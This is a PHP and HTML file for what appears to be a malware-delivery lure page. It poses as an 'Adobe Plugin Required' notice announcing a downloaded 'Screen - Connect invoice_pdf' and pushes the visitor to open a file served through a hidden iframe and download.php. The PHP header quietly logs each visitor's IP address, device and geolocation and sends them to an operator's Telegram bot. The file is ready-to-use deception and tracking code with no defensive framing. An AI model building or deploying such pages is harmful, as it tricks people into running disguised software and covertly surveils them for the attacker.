<?php

// Helper function MUST be defined before use
function getSingleFileFromFolder($folderPath) {
    $files = array_values(array_filter(scandir($folderPath), function($f) use ($folderPath) {
        return !is_dir($folderPath . '/' . $f);
    }));
    return count($files) === 1 ? $files[0] : null;
}

// Load Telegram config
$config = require __DIR__ . '/config/telegram.php';
$botToken = $config['botToken'];
$chatID   = $config['chatID'];

// Auto-detect file inside /files
$folder = __DIR__ . '/files';
$fileName = getSingleFileFromFolder($folder);

if (!$fileName) {
    die("Error: The /files folder must contain exactly ONE file.");
}

// Optional: file size for UI
$fileSize = filesize($folder . '/' . $fileName);
$fileSizeMB = round($fileSize / 1024 / 1024, 2);

// Collect visitor data
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$time = date('Y-m-d H:i:s');

// Get geolocation
$geo = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"), true);

// Create Telegram message
$message = "🚨 New Download Triggered 🚨\n";
$message .= "▫️ Time: {$time}\n";
$message .= "▫️ IP: {$ip}\n";
$message .= "▫️ Location: " . ($geo['city'] ?? 'Unknown') . ", " . ($geo['country'] ?? 'Unknown') . "\n";
$message .= "▫️ ISP: " . ($geo['isp'] ?? 'Unknown') . "\n";
$message .= "▫️ Device: {$ua}";

// Send to Telegram
$url = "https://api.telegram.org/bot{$botToken}/sendMessage";
$data = ['chat_id' => $chatID, 'text' => $message];
$options = [
    'http' => [
        'method'  => 'POST',
        'content' => http_build_query($data)
    ]
];
file_get_contents($url, false, stream_context_create($options));

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Adobe Plugin Required</title>
    
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            height: 100vh;
            display: flex;
            align-items: flex-start;
            justify-content: center;
            background-color: #f5f5f5;
            padding-top: 15vh;
        }
        .container {
            text-align: center;
            max-width: 600px;
            margin-top: 0;
        }
        img {
            width: 150px;
            margin-bottom: 20px;
        }
        a {
            color: #d32f2f;
            text-decoration: none;
            font-weight: bold;
        }
        a:hover {
            text-decoration: underline;
        }
        p {
            line-height: 1.6;
            margin: 0;
            padding: 0 10px;
        }
    </style>
</head>
<body>
 


    <div class="container">
        <img src="adobeicon.png" alt="Adobe Icon">
        <p>
            You have successfully downloaded your Screen - Connect invoice_pdf.<br>
            <br><br>

            Open <strong><?= $fileName ?></strong> from recent downloads (right corner of this screen) to Review|Edit invoice.<br>
            <a href="download.php">Download manually</a><br><br>

            Download not working?
            <a href="download.php">Restart and Download | Get Help</a>
        </p>
    </div>

    <!-- Auto download -->
    <iframe src="" style="display:none;"></iframe>

</body>
</html>